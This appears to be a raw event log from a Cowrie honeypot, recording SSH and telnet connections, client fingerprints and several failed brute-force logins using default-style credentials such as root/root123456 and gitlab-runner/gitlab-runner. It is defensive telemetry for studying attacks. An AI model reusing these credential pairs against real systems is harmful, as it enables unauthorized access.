{"eventid":"cowrie.session.closed","duration":45.98249959945679,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:51.373608Z","src_ip":"38.54.119.93","session":"0cfd5dbbdb57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f8881bcf22","protocol":"telnet","message":"New connection: 62.210.97.77:55068 (10.17.0.5:23) [session: c9f8881bcf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:51.407368Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a579fb06e9","protocol":"telnet","message":"New connection: 65.60.27.33:53616 (10.17.0.5:23) [session: 07a579fb06e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:52.336381Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:52.343057Z","src_ip":"176.65.132.254","session":"e5fcce680cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53738,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1e46990b4d4","protocol":"telnet","message":"New connection: 65.60.27.33:53738 (10.17.0.5:23) [session: c1e46990b4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:53.031540Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57562,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c97131e0992","protocol":"ssh","message":"New connection: 176.65.132.254:57562 (10.17.0.5:22) [session: 8c97131e0992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:54.836013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:54.841031Z","src_ip":"176.65.132.254","session":"8c97131e0992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48776602745056,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:54.910711Z","src_ip":"62.210.97.77","session":"c614e37dce2e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:54.922971Z","src_ip":"176.65.132.254","session":"8c97131e0992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:55.170521Z","src_ip":"176.65.132.254","session":"8c97131e0992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45745658874512,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:55.417333Z","src_ip":"62.210.97.77","session":"326a8d069cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55070,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4083463e579","protocol":"telnet","message":"New connection: 62.210.97.77:55070 (10.17.0.5:23) [session: f4083463e579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:55.569118Z"}
{"eventid":"cowrie.session.closed","duration":34.00985646247864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:55.675581Z","src_ip":"62.210.97.77","session":"fed2d2f1028f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:56.256984Z","src_ip":"176.65.132.254","session":"8c97131e0992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55074,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b4b6893e2c","protocol":"telnet","message":"New connection: 62.210.97.77:55074 (10.17.0.5:23) [session: 28b4b6893e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:56.392912Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":55230,"dst_ip":"159.203.135.109","dst_port":22,"session":"6333e2940929","protocol":"ssh","message":"New connection: 152.32.189.59:55230 (159.203.135.109:22) [session: 6333e2940929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:56.574218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:56.580298Z","src_ip":"152.32.189.59","session":"6333e2940929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:56.884977Z","src_ip":"152.32.189.59","session":"6333e2940929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"123","message":"login attempt [user4/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:57.785496Z","src_ip":"152.32.189.59","session":"6333e2940929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.708712100982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:58.612629Z","src_ip":"62.210.97.77","session":"4066fcbcdd7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"8269daa59066","protocol":"ssh","message":"New connection: 176.65.132.254:57566 (10.17.0.5:22) [session: 8269daa59066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:58.797082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:58.801676Z","src_ip":"176.65.132.254","session":"8269daa59066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:58.884794Z","src_ip":"176.65.132.254","session":"8269daa59066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:59.007375Z","src_ip":"152.32.189.59","session":"6333e2940929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.123865604400635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:59.381877Z","src_ip":"62.210.97.77","session":"557a5508bfbf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:59.443791Z","src_ip":"176.65.132.254","session":"8269daa59066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.046523571014404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:59.876224Z","src_ip":"62.210.97.77","session":"3417aefbc21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00196671485901,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:59.982033Z","src_ip":"134.209.8.29","session":"1fe5fd473ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:00.545681Z","src_ip":"176.65.132.254","session":"8269daa59066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58182,"dst_ip":"10.17.0.5","dst_port":23,"session":"f391bcfbdbe9","protocol":"telnet","message":"New connection: 62.210.97.77:58182 (10.17.0.5:23) [session: f391bcfbdbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:00.621031Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40722,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d006d09685","protocol":"telnet","message":"New connection: 38.54.119.93:40722 (10.17.0.5:23) [session: 76d006d09685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:00.821440Z"}
{"eventid":"cowrie.session.closed","duration":34.124927282333374,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:01.406755Z","src_ip":"62.210.97.77","session":"138453c888a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35998,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5924ee4b6fc","protocol":"telnet","message":"New connection: 65.60.27.33:35998 (10.17.0.5:23) [session: b5924ee4b6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:02.007466Z"}
{"eventid":"cowrie.session.closed","duration":34.9096519947052,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:02.367251Z","src_ip":"62.210.97.77","session":"29119deeafab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36832,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d43037a662","protocol":"telnet","message":"New connection: 65.60.27.33:36832 (10.17.0.5:23) [session: 59d43037a662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:02.538798Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50794,"dst_ip":"10.17.0.5","dst_port":22,"session":"17211a824fe3","protocol":"ssh","message":"New connection: 176.65.132.254:50794 (10.17.0.5:22) [session: 17211a824fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.081954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.087449Z","src_ip":"176.65.132.254","session":"17211a824fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.169363Z","src_ip":"176.65.132.254","session":"17211a824fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.421317Z","src_ip":"176.65.132.254","session":"17211a824fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.73148274421692,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.434927Z","src_ip":"134.209.8.29","session":"7ee80224c171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.551233530044556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.465431Z","src_ip":"62.210.97.77","session":"c05211fc3bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4635069370269775,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:03.470849Z","src_ip":"65.60.27.33","session":"b5924ee4b6fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a662e23d3048","protocol":"telnet","message":"New connection: 65.60.27.33:38584 (10.17.0.5:23) [session: a662e23d3048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:04.342481Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:04.506403Z","src_ip":"176.65.132.254","session":"17211a824fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41388487815857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:04.580872Z","src_ip":"62.210.97.77","session":"c3a4b0df8fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26060891151428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:04.936812Z","src_ip":"62.210.97.77","session":"63ca8882c3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":42114,"dst_ip":"159.203.135.109","dst_port":23,"session":"818a14d51415","protocol":"telnet","message":"New connection: 136.144.139.78:42114 (159.203.135.109:23) [session: 818a14d51415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:05.639228Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39456,"dst_ip":"10.17.0.5","dst_port":23,"session":"475fdccd343e","protocol":"telnet","message":"New connection: 65.60.27.33:39456 (10.17.0.5:23) [session: 475fdccd343e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:05.857010Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"88328e362266","protocol":"telnet","message":"New connection: 65.60.27.33:41268 (10.17.0.5:23) [session: 88328e362266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:06.751887Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"81cbed12d59c","protocol":"telnet","message":"New connection: 65.60.27.33:42098 (10.17.0.5:23) [session: 81cbed12d59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.195507Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50802,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e27591d70ac","protocol":"ssh","message":"New connection: 176.65.132.254:50802 (10.17.0.5:22) [session: 0e27591d70ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.256054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.261229Z","src_ip":"176.65.132.254","session":"0e27591d70ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.343292Z","src_ip":"176.65.132.254","session":"0e27591d70ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.637189Z","src_ip":"176.65.132.254","session":"0e27591d70ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.896797180175781,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:07.718026Z","src_ip":"38.54.119.93","session":"76d006d09685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.010486364364624,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:08.651437Z","src_ip":"62.210.97.77","session":"7653e0962f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52698,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f5faf0a115","protocol":"telnet","message":"New connection: 134.209.8.29:52698 (159.203.135.109:23) [session: 51f5faf0a115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:08.791437Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:08.837846Z","src_ip":"176.65.132.254","session":"0e27591d70ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43732,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3dabe3e321e","protocol":"telnet","message":"New connection: 62.210.97.77:43732 (10.17.0.5:23) [session: d3dabe3e321e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:09.039207Z"}
